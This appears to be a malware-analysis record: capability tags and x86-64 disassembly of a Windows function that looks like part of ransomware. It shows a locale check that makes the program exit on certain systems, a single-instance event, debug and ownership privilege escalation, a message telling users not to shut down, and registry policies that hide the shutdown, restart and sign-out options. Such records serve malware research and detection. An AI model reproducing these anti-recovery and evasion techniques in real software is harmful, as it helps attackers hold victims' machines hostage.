Function at 0x140008a24
Capabilities:
Acquire debug privileges
Create thread
Get common file path
Hide shutdown actions via policy
Identify system language via api

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x428]
sub rsp, 0x510
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x400], rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x419
sub ax, cx
cmp ax, 0x2b
ja 0x140008a7f
movabs rcx, 0x84000000601
bt rcx, rax
jb 0x140008e86
xor r8d, r8d
lea r9, str.89A72EF01
xor ecx, ecx
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
xor r15d, r15d
mov rbx, rax
test rax, rax
je 0x140008e86
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140008e86
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEvent]
lea rcx, str.PowrProf.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140008af5
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008af5
lea rdx, [0x14003c7c0]
xor ecx, ecx
call rax
xor ecx, ecx
call fcn.140023b04
mov rcx, rax
call fcn.140021878
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140005758
lea rcx, str.SeDebugPrivilege
call fcn.140005758
xor r9d, r9d
mov qword [rsp + 0x28], r15
lea r8, [0x140008844]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140008b50
mov edx, 0x4e20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x28], r15
lea r8, [0x14000e4f8]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ntdll.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x104
lea rdx, [rbp - 0x20]
mov r8d, esi
mov qword [0x14005bac0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rax, [rbp - 0x20]
lea rax, [rax + rcx*2]
mov rdx, rax
sub rax, 2
cmp word [rax], 0x5c
jne 0x140008bbe
lea rcx, [0x14005baf0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [0x14005baf0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x14005bbf8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x14005be70]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x14005be28]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rdx, [rbp + 0x1f0]
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r8, str.debugLog.txt
lea rdx, [rbp + 0x1f0]
lea rcx, [0x14005bc20]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ShutdownBlockReasonCreate
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x140008ce2
xor edx, edx
lea rcx, [rbp - 0x80]
lea r8d, [rdx + 0x48]
call fcn.14001ca30
lea rax, [0x140008a14]
xor ecx, ecx
mov qword [rbp - 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x68], rax
lea rcx, [rbp - 0x80]
lea rax, str.window
mov qword [rbp - 0x40], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], r15
xor r9d, r9d
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
movzx edx, ax
mov eax, 0x80000000
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea rdx, str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
call rsi
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], 1
lea r14, str.value
mov qword [rsp + 0x20], rax
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
call fcn.1400053b0
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.1400053b0
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.1400053b0
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], r15d
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.1400053b0
lea rax, [rbp - 0x30]
lea rsi, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov qword [rsp + 0x20], rax
mov rdx, rsi
lea r8, str.MaxConnectionTime
call fcn.1400053b0
lea rax, [rbp - 0x30]
mov rdx, rsi
lea r8, str.MaxDisconnectionTime
mov qword [rsp + 0x20], rax
call fcn.1400053b0
lea rax, [rbp - 0x30]
mov rdx, rsi
lea r8, str.MaxIdleTime
mov qword [rsp + 0x20], rax
call fcn.1400053b0
xorps xmm0, xmm0
mov qword [rsp + 0x70], r15
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.140007ee8
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov qword [rsp + 0x20], rax
call fcn.1400053b0
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rsp + 0x20], rax
call fcn.1400053b0
lea rax, [rbp - 0x30]
mov r8, r14
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rsp + 0x20], rax
call fcn.1400053b0
lea rax, [rbp - 0x30]
mov dword [rbp - 0x30], 1
lea r8, str.shutdownwithoutlogon
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.1400053b0
lea rcx, [0x14005bbf8]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x14005be70]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x14005be28]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
or esi, 0xffffffff
test rbx, rbx
je 0x140008e6d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x140008e86
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x400]
xor rcx, rsp
call fcn.14001a680
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret